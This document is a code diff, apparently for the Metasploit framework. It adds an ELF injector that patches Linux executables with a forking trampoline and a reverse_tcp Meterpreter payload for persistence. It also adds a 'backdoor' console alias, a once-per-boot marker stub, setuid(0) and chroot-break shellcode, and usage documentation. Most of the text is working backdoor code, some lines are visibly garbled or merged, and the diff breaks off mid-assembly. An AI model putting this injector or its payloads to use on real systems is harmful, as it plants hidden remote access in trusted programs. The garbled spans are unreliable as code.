diff --git a/data/meterpreter_aliases.yml b/data/meterpreter_aliases.yml new file mode 100644 index 0000000000000..d6348a2901232 --- /dev/null +++ b/data/meterpreter_aliases.yml @@ -0,0 +1,49 @@ +version: 1 +aliases: + backdoor: + description: Inject a staged Meterpreter payload into a Linux ELF + platforms: + - linux + module: exploit/linux/persistence/elf + positional: + - option: ELF_PATH + required: true + defaults: + PrependExecOnce: false + switches: + "-x": + description: Run the injected payload once per boot + options: + PrependExecOnce: true + PayloadLinuxMinKernel: "3.17" + architecture_options: + source: sysinfo + values: + x64: + TARGET: 0 + PAYLOAD: linux/x64/meterpreter/reverse_tcp + x86: + TARGET: 1 + PAYLOAD: linux/x86/meterpreter/reverse_tcp + aarch64: + TARGET: 2 + PAYLOAD: linux/aarch64/meterpreter/reverse_tcp + + execute-assembly: + description: Execute a .NET assembly in memory + platforms: + - windows + module: post/windows/manage/execute_dotnet_assembly + positional: + - option: DOTNET_EXE + required: true + - option: ARGUMENTS + required: false + + enum_persistence: + description: Suggest persistence modules for the current session + platforms: + - linux + - osx + - windows + module: post/multi/recon/persistence_suggester diff --git a/documentation/general/meterpreter_aliases.md b/documentation/general/meterpreter_aliases.md new file mode 100644 index 0000000000000..2adae3ae1e704 --- /dev/null +++ b/documentation/general/meterpreter_aliases.md @@ -0,0 +1,95 @@ +# Meterpreter YAML Aliases + +The `meterpreter_aliases` plugin adds client-side commands to Meterpreter consoles from a versioned YAML configuration. Each alias invokes a post module or local exploit with structured options; it does not execute Ruby or expand an arbitrary shell command. + +## Loading + +Load the bundled aliases: + +```text +msf > load meterpreter_aliases +``` + +Load a custom alias file instead: + +```text +msf > load meterpreter_aliases Config=/absolute/path/to/aliases.yml +``` + +The plugin attaches aliases to existing Meterpreter sessions and sessions opened after the plugin is loaded. Use `meterpreter_aliases` in the framework console or `aliases` in a Meterpreter console to list configured commands. Use `meterpreter_aliases_reload` or `aliases_reload` after editing the active YAML file. + +A reload is atomic. Invalid YAML or an unavailable module leaves the previous configuration active. + +## Configuration + +The top-level schema has a version and an alias map: + +```yaml +version: 1 +aliases: + example: + description: Run an example module + platforms: [linux] + module: post/linux/gather/enum_system + positional: + - option: TARGET_PATH + required: true + defaults: + VERBOSE: false + switches: + "-x": + description: Enable an optional behavior + options: + EXECUTE: true +``` + +Alias names must contain lowercase letters, numbers, dashes, and underscores and must begin with a letter. `aliases` and `aliases_reload` are reserved. Modules must exist and must be post modules or local exploits. Positional arguments are applied in order to the named module options. Required positional arguments must precede optional ones. + +Each configured switch sets one or more module options. Switches are single-letter flags such as `-x`; `-h` is supplied automatically. Option values must be strings, integers, booleans, or null. + +## Architecture Options + +An alias can derive module options from the operating-system architecture returned by embedded Linux `stdapi`: + +```yaml +architecture_options: + source: sysinfo + values: + x64: + TARGET: 0 + PAYLOAD: linux/x64/meterpreter/reverse_tcp + aarch64: + TARGET: 2 + PAYLOAD: linux/aarch64/meterpreter/reverse_tcp +``` + +Defaults are applied first, followed by architecture options, selected switch options, and positional values. Later values override earlier values. Handler options such as `LHOST` are inherited from the exploit that opened the current session. + +## Bundled Backdoor Alias + +The bundled configuration provides: + +```text +meterpreter > backdoor +meterpreter > backdoor -x +``` + +The alias selects the Linux x86, x64, or AArch64 staged Meterpreter payload from `sysinfo`. `-x` enables `PrependExecOnce` and the required Linux kernel compatibility setting. + +## Bundled Execute-Assembly Alias + +On Windows Meterpreter sessions, the bundled configuration provides: + +```text +meterpreter > execute-assembly ["assembly arguments"] +``` + +The alias invokes `post/windows/manage/execute_dotnet_assembly`. The assembly path is local to Metasploit. Pass command-line arguments as one quoted value when the assembly requires them. + +## Bundled Persistence Suggester Alias + +The bundled `enum_persistence` alias invokes `post/multi/recon/persistence_suggester` for the current Linux, Windows, or macOS Meterpreter session: + +```text +meterpreter > enum_persistence +``` diff --git a/documentation/modules/exploit/linux/persistence/elf.md b/documentation/modules/exploit/linux/persistence/elf.md new file mode 100644 index 0000000000000..a56ece86f3850 --- /dev/null +++ b/documentation/modules/exploit/linux/persistence/elf.md @@ -0,0 +1,75 @@ +## Vulnerable Application + +This module targets writable Linux ELF executables. It supports little-endian +x86, x64, and AArch64 ET_EXEC and ET_DYN files. It first tries to place the +trampoline and payload in zero-filled padding after an executable PT_LOAD +segment. If that is unsuitable, a PT_NULL or non-GNU-property PT_NOTE program +header is reused for an added executable segment. + +Use a disposable copy of a standard executable when setting up a test target: + +```sh +cp /bin/true /tmp/persistent-true +chmod u+w /tmp/persistent-true +``` + +The module changes the executable PT_LOAD size or a reusable program header and +the entry point, so signed or integrity-monitored executables are unsuitable +targets. + +## Verification Steps + +1. Start a Linux meterpreter or shell session. +1. Copy a compatible ELF to a writable location on the target. +1. Start msfconsole. +1. Do: `use exploit/linux/persistence/elf` +1. Do: `set SESSION ` +1. Do: `set ELF_PATH /tmp/persistent-true` +1. Select the target and payload matching the ELF architecture. +1. Set the payload options, including `LHOST` and `LPORT` for a reverse payload. +1. Do: `run` +1. Launch `/tmp/persistent-true` on the target. +1. The payload should connect while the original executable exits normally. + +## Options + +### ELF_PATH + +Absolute path of one existing ELF executable to modify. The file must be +readable, writable, executable, and compatible with the selected target. + +### DisablePayloadHandler + +Set this advanced option to `true` to install the persistence without starting +or waiting on a handler. + +### PrependExecOnce + +Set this payload advanced option to `true` to atomically create a randomized +marker under `/dev/shm` and run the payload only when marker creation succeeds. +The marker is normally cleared at reboot. `/dev/shm` must be writable by the +account that launches the modified ELF. + +### CleanUpRc + +When enabled on a Meterpreter session, the module writes a cleanup resource +file that restores the original ELF from the loot backup. Shell sessions still +create the loot backup but do not create the resource file. + +## Targets + +Select `Linux x64`, `Linux x86`, or `Linux AArch64` to match the ELF file. The +selected Metasploit payload must have the same native architecture. + +## Limitations + +The payload is only triggered when the modified ELF is executed. The module +does not support shared objects without an entry point or big-endian ELFs. An +ELF without enough executable segment padding needs a reusable PT_NULL or +PT_NOTE program header. Code-cave injection preserves file size; segment +injection can increase it. Both techniques change contents, the entry point, +program headers, and integrity hashes while preserving the original file mode. + +## Scenarios + +Manual verification output must be supplied by the module contributor. diff --git a/lib/msf/core/exe/elf_injector.rb b/lib/msf/core/exe/elf_injector.rb new file mode 100644 index 0000000000000..45d893e5c9eb9 --- /dev/null +++ b/lib/msf/core/exe/elf_injector.rb @@ -0,0 +1,370 @@ +# frozen_string_literal: true + +require 'metasm' + +module Msf + module Exe + # Injects a forked payload into an ELF code cave or a reusable program header. + class ElfInjector + ET_EXEC = 2 + ET_DYN = 3 + + PT_NULL = 0 + PT_LOAD = 1 + PT_NOTE = 4 + PT_GNU_PROPERTY = 0x6474e553 + + SHT_NOBITS = 8 + + PF_X = 1 + PF_W = 2 + PF_R = 4 + + MAX_ALIGNMENT = 0x200000 + MARKER = "\x00msfelfinject\x01\x00".b.freeze + + CLASS_BITS = { + 1 => 32, + 2 => 64 + }.freeze + + MACHINE_ARCHITECTURES = { + 3 => :x86, + 62 => :x64, + 183 => :aarch64 + }.freeze + + EXPECTED_PROGRAM_HEADER_SIZES = { + 32 => 32, + 64 => 56 + }.freeze + + EXPECTED_SECTION_HEADER_SIZES = { + 32 => 40, + 64 => 64 + }.freeze + + # @return [Symbol, nil] Injection technique used by the last call to generate. + attr_reader :technique + + # @param template [String] Contents of the ELF executable to modify. + # @param payload [String] Position-independent Linux shellcode to inject. + def initialize(template:, payload: ''.b) + raise ArgumentError, 'template must be a String' unless template.is_a?(String) + raise ArgumentError, 'payload must be a String' unless payload.is_a?(String) + + @template = template.b + @payload = payload.b + parse_header + parse_program_headers + parse_section_headers + end + + # @return [Symbol] The ELF architecture. + def architecture + MACHINE_ARCHITECTURES.fetch(@machine) + end + + # @return [Boolean] Whether this injector's marker is present. + def injected? + @template.include?(MARKER) + end + + # @return [String] A modified ELF that forks the payload and resumes the original entry point. + def generate + raise ArgumentError, 'ELF is already injected' if injected? + raise ArgumentError, 'payload must not be empty' if @payload.empty? + + code_cave = find_code_cave + return inject_code_cave(code_cave) if code_cave + + inject_new_segment + end + + private + + def inject_new_segment + program_header = reusable_program_header + alignment = segment_alignment + injected_offset = align_up(@template.bytesize, alignment) + injected_address = align_up(load_segments.map { |segment| segment[:virtual_address] + segment[:memory_size] }.max, alignment) + trampoline = build_trampoline(injected_address) + injected_data = trampoline + @payload + MARKER + + modified = @template.dup + modified << "\x00".b * (injected_offset - modified.bytesize) + modified << injected_data + modified[@entrypoint_offset, @word_size] = pack_word(injected_address) + modified[program_header[:header_offset], @program_header_size] = encode_program_header( + type: PT_LOAD, + flags: PF_R | PF_W | PF_X, + offset: injected_offset, + virtual_address: injected_address, + physical_address: injected_address, + file_size: injected_data.bytesize, + memory_size: injected_data.bytesize, + alignment: alignment + ) + @technique = :program_header + modified + end + + def inject_code_cave(code_cave) + segment = code_cave.fetch(:segment).dup + segment[:flags] |= PF_W + segment[:file_size] += code_cave.fetch(:data).bytesize + segment[:memory_size] = [segment[:memory_size], segment[:file_size]].max + + modified = @template.dup + modified[code_cave.fetch(:offset), code_cave.fetch(:data).bytesize] = code_cave.fetch(:data) + modified[@entrypoint_offset, @word_size] = pack_word(code_cave.fetch(:address)) + modified[segment[:header_offset], @program_header_size] = encode_program_header(segment) + @technique = :code_cave + modified + end + + def parse_header + raise ArgumentError, 'template is too small to be an ELF' if @template.bytesize < 52 + raise ArgumentError, 'template does not contain an ELF magic value' unless @template.start_with?("\x7fELF".b) + + @bits = CLASS_BITS[@template.getbyte(4)] + raise ArgumentError, 'unsupported ELF class' unless @bits + raise ArgumentError, 'only little-endian ELF executables are supported' unless @template.getbyte(5) == 1 + raise ArgumentError, 'unsupported ELF machine architecture' unless MACHINE_ARCHITECTURES.key?(read_integer(18, 2)) + + @machine = read_integer(18, 2) + @type = read_integer(16, 2) + raise ArgumentError, 'ELF must be ET_EXEC or ET_DYN' unless [ET_EXEC, ET_DYN].include?(@type) + + if @bits == 32 + @word_size = 4 + @entrypoint_offset = 24 + @entrypoint = read_integer(@entrypoint_offset, @word_size) + @program_header_offset = read_integer(28, 4) + @section_header_offset = read_integer(32, 4) + @program_header_size = read_integer(42, 2) + @program_header_count = read_integer(44, 2) + @section_header_size = read_integer(46, 2) + @section_header_count = read_integer(48, 2) + else + raise ArgumentError, 'template is too small to be a 64-bit ELF' if @template.bytesize < 64 + + @word_size = 8 + @entrypoint_offset = 24 + @entrypoint = read_integer(@entrypoint_offset, @word_size) + @program_header_offset = read_integer(32, 8) + @section_header_offset = read_integer(40, 8) + @program_header_size = read_integer(54, 2) + @program_header_count = read_integer(56, 2) + @section_header_size = read_integer(58, 2) + @section_header_count = read_integer(60, 2) + end + + raise ArgumentError, 'ELF has an invalid program header size' unless @program_header_size == EXPECTED_PROGRAM_HEADER_SIZES[@bits] + raise ArgumentError, 'ELF has an invalid program header count' unless @program_header_count.between?(1, 128) + + table_end = @program_header_offset + (@program_header_size * @program_header_count) + raise ArgumentError, 'ELF program header table is truncated' if table_end > @template.bytesize + end + + def parse_program_headers + @program_headers = Array.new(@program_header_count) do |index| + header_offset = @program_header_offset + (@program_header_size * index) + if @bits == 32 + values = @template.byteslice(header_offset, @program_header_size).unpack('V8') + { + header_offset: header_offset, + type: values[0], + offset: values[1], + virtual_address: values[2], + physical_address: values[3], + file_size: values[4], + memory_size: values[5], + flags: values[6], + alignment: values[7] + } + else + values = @template.byteslice(header_offset, @program_header_size).unpack('VVQ= segment[:file_size] && segment[:offset] + segment[:file_size] <= @template.bytesize + end + raise ArgumentError, 'ELF has an invalid loadable segment' + end + raise ArgumentError, 'ELF entry point is not in an executable segment' unless load_segments.any? do |segment| + segment[:flags] & PF_X != 0 && @entrypoint >= segment[:virtual_address] && @entrypoint < segment[:virtual_address] + segment[:memory_size] + end + end + + def parse_section_headers + @section_ranges = [] + @section_metadata_valid = @section_header_offset.zero? && @section_header_count.zero? + return if @section_header_count.zero? + return unless @section_header_size == EXPECTED_SECTION_HEADER_SIZES[@bits] + + table_size = @section_header_size * @section_header_count + table_end = @section_header_offset + table_size + return if @section_header_offset.zero? || table_end > @template.bytesize + + @section_ranges << [@section_header_offset, table_end] + valid = true + @section_header_count.times do |index| + header_offset = @section_header_offset + (@section_header_size * index) + section_type = read_integer(header_offset + 4, 4) + section_offset = read_integer(header_offset + (@bits == 32 ? 16 : 24), @word_size) + section_size = read_integer(header_offset + (@bits == 32 ? 20 : 32), @word_size) + next if section_type == SHT_NOBITS || section_size.zero? + + section_end = section_offset + section_size + if section_end > @template.bytesize + valid = false + break + end + + @section_ranges << [section_offset, section_end] + end + @section_ranges.clear unless valid + @section_metadata_valid = valid + end + + def load_segments + @program_headers.select { |segment| segment[:type] == PT_LOAD } + end + + def find_code_cave + return unless @section_metadata_valid + + load_segments.each do |segment| + next unless segment[:flags] & PF_X != 0 + + offset = segment[:offset] + segment[:file_size] + segment_end_address = segment[:virtual_address] + segment[:file_size] + padding_size = align_up(segment_end_address, instruction_alignment) - segment_end_address + address = segment_end_address + padding_size + file_capacity = file_code_cave_capacity(segment, offset) + memory_capacity = memory_code_cave_capacity(segment, segment_end_address) + next if file_capacity <= 0 || memory_capacity <= 0 + + data = ("\x00".b * padding_size) + build_trampoline(address) + @payload + MARKER + next if data.bytesize > [file_capacity, memory_capacity].min + + cave = @template.byteslice(offset, data.bytesize) + next unless cave && cave.bytes.all?(&:zero?) + + return { segment: segment, offset: offset, address: address, data: data } + end + nil + end + + def file_code_cave_capacity(segment, offset) + ranges = @program_headers.filter_map do |header| + next if header.equal?(segment) || header[:file_size].zero? + + [header[:offset], header[:offset] + header[:file_size]] + end + ranges.concat(@section_ranges) + return 0 if ranges.any? { |range_start, range_end| range_start < offset && range_end > offset } + + boundary = ranges.filter_map { |range_start, _range_end| range_start if range_start >= offset }.min || @template.bytesize + [boundary, @template.bytesize].min - offset + end + + def memory_code_cave_capacity(segment, address) + return 0 if load_segments.any? do |header| + !header.equal?(segment) && header[:virtual_address] < address && header[:virtual_address] + header[:memory_size] > address + end + + mapped_capacity = segment[:virtual_address] + segment[:memory_size] - address + return mapped_capacity if mapped_capacity.positive? + + boundary = load_segments.filter_map { |header| header[:virtual_address] if header[:virtual_address] > address }.min + boundary ? boundary - address : 0 + end + + def reusable_program_header + null_header = @program_headers.find { |header| header[:type] == PT_NULL } + return null_header if null_header + + property_ranges = @program_headers.select { |header| header[:type] == PT_GNU_PROPERTY }.map do |header| + [header[:offset], header[:file_size]] + end + note_header = @program_headers.find do |header| + header[:type] == PT_NOTE && !property_ranges.include?([header[:offset], header[:file_size]]) + end + raise ArgumentError, 'ELF has no reusable PT_NULL or PT_NOTE program header' unless note_header + + note_header + end + + def segment_alignment + alignment = [0x1000, *load_segments.map { |segment| segment[:alignment] }].max + unless alignment.positive? && (alignment & (alignment - 1)).zero? && alignment <= MAX_ALIGNMENT + raise ArgumentError, 'ELF segment alignment is unsupported' + end + + alignment + end + + def encode_program_header(header) + if @bits == 32 + header.values_at(:type, :offset, :virtual_address, :physical_address, :file_size, :memory_size, :flags, :alignment).pack('V8') + else + header.values_at(:type, :flags, :offset, :virtual_address, :physical_address, :file_size, :memory_size, :alignment).pack('VVQ immediate)) + end + + def instruction(name, **fields) + opcode = processor.opcode_list_byname.fetch(name).find do |candidate| + candidate.args == fields.keys && !candidate.props[:r_32] && !candidate.props[:mem_incr] + end + raise Metasm::EncodeError, "Unsupported AArch64 instruction: #{name}" unless opcode + + word = fields.reduce(opcode.bin) do |encoded, (field, value)| + mask, shift = opcode.fields.fetch(field) + encoded | ((value & mask) << shift) + end + [word].pack('V') + end + + def processor + @processor ||= Metasm::ARM64.new + end + end + end + end +end diff --git a/lib/msf/core/exe/elf_injector/x64.rb b/lib/msf/core/exe/elf_injector/x64.rb new file mode 100644 index 0000000000000..3e354de35e540 --- /dev/null +++ b/lib/msf/core/exe/elf_injector/x64.rb @@ -0,0 +1,82 @@ +# frozen_string_literal: true + +module Msf + module Exe + class ElfInjector + # Builds an x64 trampoline that forks before running the payload. + class X64 + ASSEMBLY = %q{ + pushfq + push rax + push rcx + push rdx + push rbx + push rbp + push rsi + push rdi + push r8 + push r9 + push r10 + push r11 + push r12 + push r13 + push r14 + push r15 + push 57 + pop rax + syscall + test rax, rax + jz child + pop r15 + pop r14 + pop r13 + pop r12 + pop r11 + pop r10 + pop r9 + pop r8 + pop rdi + pop rsi + pop rbp + pop rbx + pop rdx + pop rcx + pop rax + popfq + jmp entrypoint + child: + pop r15 + pop r14 + pop r13 + pop r12 + pop r11 + pop r10 + pop r9 + pop r8 + pop rdi + pop rsi + pop rbp + pop rbx + pop rdx + pop rcx + pop rax + popfq + } + + # @param entrypoint [Integer] Original ELF entry point. + # @param injected_address [Integer] Virtual address of the injected segment. + def initialize(entrypoint:, injected_address:) + @entrypoint = entrypoint + @injected_address = injected_address + end + + # @return [String] Encoded x64 trampoline. + def generate + shellcode = Metasm::Shellcode.assemble(Metasm::X64.new, ASSEMBLY) + shellcode.base_addr = @injected_address + shellcode.encode_string('entrypoint' => @entrypoint) + end + end + end + end +end diff --git a/lib/msf/core/exe/elf_injector/x86.rb b/lib/msf/core/exe/elf_injector/x86.rb new file mode 100644 index 0000000000000..e823d6d5dbb7b --- /dev/null +++ b/lib/msf/core/exe/elf_injector/x86.rb @@ -0,0 +1,39 @@ +# frozen_string_literal: true + +module Msf + module Exe + class ElfInjector + # Builds an x86 trampoline that forks before running the payload. + class X86 + ASSEMBLY = %q{ + pushfd + pushad + mov eax, 2 + int 0x80 + test eax, eax + jz child + popad + popfd + jmp entrypoint + child: + popad + popfd + } + + # @param entrypoint [Integer] Original ELF entry point. + # @param injected_address [Integer] Virtual address of the injected segment. + def initialize(entrypoint:, injected_address:) + @entrypoint = entrypoint + @injected_address = injected_address + end + + # @return [String] Encoded x86 trampoline. + def generate + shellcode = Metasm::Shellcode.assemble(Metasm::Ia32.new, ASSEMBLY) + shellcode.base_addr = @injected_address + shellcode.encode_string('entrypoint' => @entrypoint) + end + end + end + end +end diff --git a/lib/msf/core/payload/linux/aarch64/prepends.rb b/lib/msf/core/payload/linux/aarch64/prepends.rb index e03ad3422b26c..2f4ec942f0f43 100644 --- a/lib/msf/core/payload/linux/aarch64/prepends.rb +++ b/lib/msf/core/payload/linux/aarch64/prepends.rb @@ -5,7 +5,7 @@ module Msf::Payload::Linux::Aarch64::Prepends include Msf::Payload::Linux::Prepends def prepends_order - %w[PrependSetresuid PrependSetreuid PrependSetuid] + %w[PrependExecOnce PrependSetresuid PrependSetreuid PrependSetuid] end def appends_order @@ -13,30 +13,96 @@ def appends_order end def prepends_map - { - # 'PrependFork' => "", - - # setuid(0) - 'PrependSetuid' => "\xe0\x03\x1f\xaa" + # mov x0, xzr - "\x48\x12\x80\xd2" + # mov x8, #0x92 - "\x01\x00\x00\xd4", # svc 0x0 - - # setreuid(0, 0) - 'PrependSetreuid' => "\xe0\x03\x1f\xaa" + # mov x0, xzr - "\xe1\x03\x1f\xaa" + # mov x1, xzr - "\x28\x12\x80\xd2" + # mov x8, #0x91 - "\x01\x00\x00\xd4", # svc 0x0 - - # setresuid(0, 0, 0) - 'PrependSetresuid' => "\xe0\x03\x1f\xaa" + # mov x0, xzr - "\xe1\x03\x1f\xaa" + # mov x1, xzr - "\xe2\x03\x1f\xaa" + # mov x2, xzr - "\x68\x12\x80\xd2" + # mov x8, #0x93 - "\x01\x00\x00\xd4" # svc 0x0 + @prepends_map ||= { + 'PrependExecOnce' => prepend_exec_once, + 'PrependSetuid' => [ + aarch64_instruction('mov', rt: 0, rm: 31), + aarch64_instruction('mov', rt: 8, i16_5: 0x92), + aarch64_instruction('svc', i16_5: 0) + ].join, + 'PrependSetreuid' => [ + aarch64_instruction('mov', rt: 0, rm: 31), + aarch64_instruction('mov', rt: 1, rm: 31), + aarch64_instruction('mov', rt: 8, i16_5: 0x91), + aarch64_instruction('svc', i16_5: 0) + ].join, + 'PrependSetresuid' => [ + aarch64_instruction('mov', rt: 0, rm: 31), + aarch64_instruction('mov', rt: 1, rm: 31), + aarch64_instruction('mov', rt: 2, rm: 31), + aarch64_instruction('mov', rt: 8, i16_5: 0x93), + aarch64_instruction('svc', i16_5: 0) + ].join } end def appends_map {} end + + private + + def prepend_exec_once + return @prepend_exec_once if @prepend_exec_once + + marker = "#{prepend_exec_once_path}\x00".b + marker_offset = 56 + payload_offset = aarch64_align_up(marker_offset + marker.bytesize, 4) + instructions = [ + aarch64_adr(marker_offset), + aarch64_instruction('movn', rt: 0, il18_5: 99), + aarch64_instruction('mov', rt: 2, i16_5: 0xc1), + aarch64_instruction('mov', rt: 3, i16_5: 0x180), + aarch64_instruction('mov', rt: 8, i16_5: 56), + aarch64_instruction('svc', i16_5: 0), + aarch64_instruction('subs', rt: 31, rn: 0, i12_10_s1: 0), + aarch64_branch('blt', 28, 44), + aarch64_instruction('mov', rt: 8, i16_5: 57), + aarch64_instruction('svc', i16_5: 0), + aarch64_branch('b', 40, payload_offset, bits: 26, field: :i26_0), + aarch64_instruction('mov', rt: 0, i16_5: 0), + aarch64_instruction('mov', rt: 8, i16_5: 93), + aarch64_instruction('svc', i16_5: 0) + ] + @prepend_exec_once = (instructions.join + marker).ljust(payload_offset, "\x00".b) + end + + def aarch64_adr(destination) + immediate = destination + encoded = ((immediate & 3) << 29) | (((immediate >> 2) & 0x7ffff) << 5) + aarch64_instruction('adr', rt: 1, i19_5_2_29: encoded) + end + + def aarch64_branch(name, instruction_address, destination, bits: 19, field: :i19_5) + displacement = destination - instruction_address + raise Metasm::EncodeError, 'AArch64 branch destination is not instruction-aligned' unless (displacement % 4).zero? + + immediate = displacement / 4 + minimum = -(1 << (bits - 1)) + maximum = (1 << (bits - 1)) - 1 + raise Metasm::EncodeError, 'AArch64 branch destination is too far away' unless immediate.between?(minimum, maximum) + + aarch64_instruction(name, **{ field => immediate }) + end + + def aarch64_instruction(name, **fields) + opcode = aarch64_processor.opcode_list_byname.fetch(name).find do |candidate| + candidate.args == fields.keys && !candidate.props[:r_32] && !candidate.props[:mem_incr] + end + raise Metasm::EncodeError, "Unsupported AArch64 instruction: #{name}" unless opcode + + word = fields.reduce(opcode.bin) do |encoded, (field, value)| + mask, shift = opcode.fields.fetch(field) + encoded | ((value & mask) << shift) + end + [word].pack('V') + end + + def aarch64_processor + @aarch64_processor ||= Metasm::ARM64.new + end + + def aarch64_align_up(value, alignment) + (value + alignment - 1) & -alignment + end end diff --git a/lib/msf/core/payload/linux/prepends.rb b/lib/msf/core/payload/linux/prepends.rb index 79d09d24d4d21..175c05f480d0d 100644 --- a/lib/msf/core/payload/linux/prepends.rb +++ b/lib/msf/core/payload/linux/prepends.rb @@ -1,3 +1,6 @@ +require 'metasm' +require 'rex/text' + # # Linux Preprends shared logic. # @@ -9,6 +12,7 @@ def initialize(info) def register_prepend_options all_options = { + 'PrependExecOnce' => [false, 'Prepend a stub that runs the payload once per boot using a /dev/shm marker', 'false'], 'PrependFork' => [false, 'Prepend a stub that starts the payload in its own process via fork', 'false'], 'PrependSetresuid' => [false, 'Prepend a stub that executes the setresuid(0, 0, 0) system call', 'false'], 'PrependSetreuid' => [false, 'Prepend a stub that executes the setreuid(0, 0) system call', 'false'], @@ -46,4 +50,10 @@ def apply_prepends(buf) buf.force_encoding('ASCII-8BIT') + app.force_encoding('ASCII-8BIT') end + + private + + def prepend_exec_once_path + @prepend_exec_once_path ||= "/dev/shm/.msf-#{Rex::Text.rand_text_alpha_lower(12)}" + end end diff --git a/lib/msf/core/payload/linux/x64/prepends.rb b/lib/msf/core/payload/linux/x64/prepends.rb index bffc48ba48fde..3c9cc4ce47c77 100644 --- a/lib/msf/core/payload/linux/x64/prepends.rb +++ b/lib/msf/core/payload/linux/x64/prepends.rb @@ -4,7 +4,7 @@ module Msf::Payload::Linux::X64::Prepends include Msf::Payload::Linux::Prepends def prepends_order - %w[PrependFork PrependSetresuid PrependSetreuid PrependSetuid] + %w[PrependExecOnce PrependFork PrependSetresuid PrependSetreuid PrependSetuid] end def appends_order @@ -12,121 +12,148 @@ def appends_order end def prepends_map - { - 'PrependFork' => "\x6a\x39" + # push 57 ; __NR_fork # - "\x58" + # pop rax # - "\x0f\x05" + # syscall # - "\x48\x85\xc0" + # test rax,rax # - "\x74\x08" + # jz loc_0012 # - # loc_000a: # - "\x48\x31\xff" + # xor rdi,rdi # - "\x6a\x3c" + # push 60 ; __NR_exit # - "\x58" + # pop rax # - "\x0f\x05" + # syscall # - # loc_0012: # - "\x04\x70" + # add al, 112 ; __NR_setsid # - "\x0f\x05" + # syscall # - "\x6a\x39" + # push 57 ; __NR_fork # - "\x58" + # pop rax # - "\x0f\x05" + # syscall # - "\x48\x85\xc0" + # test rax,rax # - "\x75\xea", # jnz loc_000a # - - # setresuid(0, 0, 0) - 'PrependSetresuid' => "\x48\x31\xff" + # xor rdi,rdi # - "\x48\x89\xfe" + # mov rsi,rdi # - "\x6a\x75" + # push 0x75 # - "\x58" + # pop rax # - "\x0f\x05", # syscall # - - # setreuid(0, 0) - 'PrependSetreuid' => "\x48\x31\xff" + # xor rdi,rdi # - "\x48\x89\xfe" + # mov rsi,rdi # - "\x48\x89\xf2" + # mov rdx,rsi # - "\x6a\x71" + # push 0x71 # - "\x58" + # pop rax # - "\x0f\x05", # syscall # - - # setuid(0) - 'PrependSetuid' => "\x48\x31\xff" + # xor rdi,rdi # - "\x6a\x69" + # push 0x69 # - "\x58" + # pop rax # - "\x0f\x05", # syscall # - - # setresgid(0, 0, 0) - 'PrependSetresgid' => "\x48\x31\xff" + # xor rdi,rdi # - "\x48\x89\xfe" + # mov rsi,rdi # - "\x6a\x77" + # push 0x77 # - "\x58" + # pop rax # - "\x0f\x05", # syscall # - - # setregid(0, 0) - 'PrependSetregid' => "\x48\x31\xff" + # xor rdi,rdi # - "\x48\x89\xfe" + # mov rsi,rdi # - "\x48\x89\xf2" + # mov rdx,rsi # - "\x6a\x72" + # push 0x72 # - "\x58" + # pop rax # - "\x0f\x05", # syscall # - - # setgid(0) - 'PrependSetgid' => "\x48\x31\xff" + # xor rdi,rdi # - "\x6a\x6a" + # push 0x6a # - "\x58" + # pop rax # - "\x0f\x05", # syscall # - - # setreuid(0, 0) + break chroot - 'PrependChrootBreak' => "\x48\x31\xff" + # xor rdi,rdi # - "\x48\x89\xfe" + # mov rsi,rdi # - "\x48\x89\xf8" + # mov rax,rdi # - "\xb0\x71" + # mov al,0x71 # - "\x0f\x05" + # syscall # - # generate temp dir name - "\x48\xbf#{Rex::Text.rand_text_alpha(8)}" + # mov rdi, # - "\x56" + # push rsi # - "\x57" + # push rdi # - # mkdir(random,0755) - "\x48\x89\xe7" + # mov rdi,rsp # - "\x66\xbe\xed\x01" + # mov si,0755 # - "\x6a\x53" + # push 0x53 # - "\x58" + # pop rax # - "\x0f\x05" + # syscall # - - # chroot(random) - "\x48\x31\xd2" + # xor rdx,rdx # - "\xb2\xa1" + # mov dl,0xa1 # - "\x48\x89\xd0" + # mov rax,rdx # - "\x0f\x05" + # syscall # + @prepends_map ||= { + 'PrependExecOnce' => prepend_exec_once, + 'PrependFork' => x64_assemble(%( + push 0x39 + pop rax + syscall + test rax, rax + jz child + parent: + xor rdi, rdi + push 0x3c + pop rax + syscall + child: + add al, 0x70 + syscall + push 0x39 + pop rax + syscall + test rax, rax + jnz parent + )), + 'PrependSetresuid' => x64_assemble(%( + xor rdi, rdi + mov rsi, rdi + push 0x75 + pop rax + syscall + )), + 'PrependSetreuid' => x64_assemble(%( + xor rdi, rdi + mov rsi, rdi + mov rdx, rsi + push 0x71 + pop rax + syscall + )), + 'PrependSetuid' => x64_assemble(%( + xor rdi, rdi + push 0x69 + pop rax + syscall + )), + 'PrependSetresgid' => x64_assemble(%( + xor rdi, rdi + mov rsi, rdi + push 0x77 + pop rax + syscall + )), + 'PrependSetregid' => x64_assemble(%( + xor rdi, rdi + mov rsi, rdi + mov rdx, rsi + push 0x72 + pop rax + syscall + )), + 'PrependSetgid' => x64_assemble(%( + xor rdi, rdi + push 0x6a + pop rax + syscall + )), + 'PrependChrootBreak' => x64_assemble(%( + xor rdi, rdi + mov rsi, rdi + mov rax, rdi + mov al, 0x71 + syscall + mov rdi, 0x#{Rex::Text.rand_text_alpha(8).unpack1('Q<').to_s(16)} + push rsi + push rdi + mov rdi, rsp + mov si, 0x1ed + push 0x53 + pop rax + syscall + xor rdx, rdx + mov dl, 0xa1 + mov rax, rdx + syscall + mov si, 0x2e2e + push rsi + mov rdi, rsp + push 0x45 + pop rbx + chdir_loop: + push 0x50 + pop rax + syscall + dec bl + jnz chdir_loop + push 0x2e + mov rdi, rsp + mov rax, rdx + syscall + )) + } + end - # build .. (ptr in rdi ) - "\x66\xbe\x2e\x2e" + # mov si,0x2e2e # - "\x56" + # push rsi # - "\x48\x89\xe7" + # mov rdi,rsp # + def appends_map + @appends_map ||= { + 'AppendExit' => x64_assemble(%( + xor rdi, rdi + push 0x3c + pop rax + syscall + )) + } + end - # loop chdir(..) 69 times - # syscall tend to modify rcx can't use loop... - "\x6a\x45" + # push 0x45 # - "\x5b" + # pop rbx # - "\x6a\x50" + # push 0x50 # - "\x58" + # pop rax # - "\x0f\x05" + # syscall # - "\xfe\xcb" + # dec bl # - "\x75\xf7" + # jnz -7 # + private - # chroot (.) (which should be /) - "\x6a\x2e" + # push . (0x2e) # - "\x48\x89\xe7" + # mov rdi,rsp # - "\x48\x89\xd0" + # mov rax,rdx # - "\x0f\x05" - } # syscall # + def prepend_exec_once + @prepend_exec_once ||= x64_assemble(%( + jmp marker + open_marker: + pop rsi + mov edi, -100 + mov edx, 0xc1 + mov r10d, 0x180 + mov eax, 257 + syscall + test eax, eax + js stop + mov edi, eax + mov eax, 3 + syscall + jmp payload + stop: + xor edi, edi + mov eax, 60 + 